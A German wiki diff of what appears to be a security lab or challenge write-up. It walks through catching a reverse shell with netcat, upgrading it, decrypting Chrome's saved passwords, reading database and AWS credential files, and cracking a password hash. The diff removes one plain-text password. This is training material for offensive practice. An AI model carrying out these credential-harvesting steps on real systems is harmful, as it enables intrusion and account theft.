Unterschiede

Hier werden die Unterschiede zwischen zwei Versionen angezeigt.

--- security:challenge:exposed_creds [2021/06/26 05:56] – angelegt wikiadm
+++ security:challenge:exposed_creds [2021/07/03 15:50] (aktuell) – wikiadm
@@ Zeile 1: / Zeile 1: @@
-====== Preparation ======
+====== Find Garry's Password ======
-<code>
+==== Start Reverse Shell Listener ====
-python -c 'import pty; pty.spawn("/bin/bash")'
-</code>
-====== Start Reverse Shell Listener ======
 <code>
+root@kali$
 nc -l 8000
 </code>
@@ Zeile 13: / Zeile 10: @@
 <code>
 garry@desktop$
+python -c 'import pty; pty.spawn("/bin/bash")'
 Ctrl-Z
         echo $TERM
@@ Zeile 19: / Zeile 17: @@
 fg
 reset
-export SHELL=bash
+--> xterm
-export TERM=xterm256-color
-stty rows 38 columns 116
 </code>
@@ Zeile 41: / Zeile 37: @@
       #sqlite3 Login\ Data 'select username_value, password_value from logins;'
 ./get_chrome_pass.py
-   Decrypting the string: b'v10\xa1$z\xb0\x18\xee+\xbbMG\xe0\x0bM\x13\x7fA'
+   Decrypting the string: b'v...'
-   blokeontherange
+   b...e
 </code>
-==== Get Bobs Password ====
+==== ssh to intern Server ====
 <code>
+garry@desktop$
 ssh 192.168.6.105
 </code>
-==== ssh into server ====
+====== Find Bob's Password ======
 <code>
-garry@desktop$
+garry@server-intern$
-ssh -i .ssh/id_rsa root@server
+python -c 'import pty; pty.spawn("/bin/bash")'
+cat /var/www/app/.env
+MYSQL_ROOT_PASSWORD=t..r
+MYSQL_USER=d..r
+MYSQL_PASSWORD=xxx
+MYSQL_DATABASE=xxx
+cat /var/www/app/www/conf.php
+<?php
+        $conf = [
+                'host'=>'localhost',
+                'user'=>getenv('MYSQL_USER'),
+                'password'=>getenv('MYSQL_PASSWORD'),
+                'dbname'=>'intern',
+                'port'=>3306,
+                'charset'=>'utf8'
+        ];
+?>
+cat /var/www/app/www/login.php
+ // Prepare a select statement
+        $sql = "SELECT id, username, password FROM users WHERE username = ?";
+mysql -h 192.168.6.105 -u root -p intern
+-> t..r
+mysql> select * from users;
++----+----------+----------------------------------+---------------------+
+| id | username | password                         | created_at          |
++----+----------+----------------------------------+---------------------+
+|  1 | bob      | xxx | 2021-06-26 10:35:43 |
+|  2 | garry    | xxx | 2021-06-26 10:35:43 |
++----+----------+----------------------------------+---------------------+
+google for hash
+--> b..7
+</code>
+====== Find AWS Keys ======
+<code>
+garry@server-intern$
+ssh bob@192.168.6.22
+cat /home/bob/.aws/credentials
+[default]
+aws_access_key_id = xxx
+aws_secret_access_key = xxx
 </code>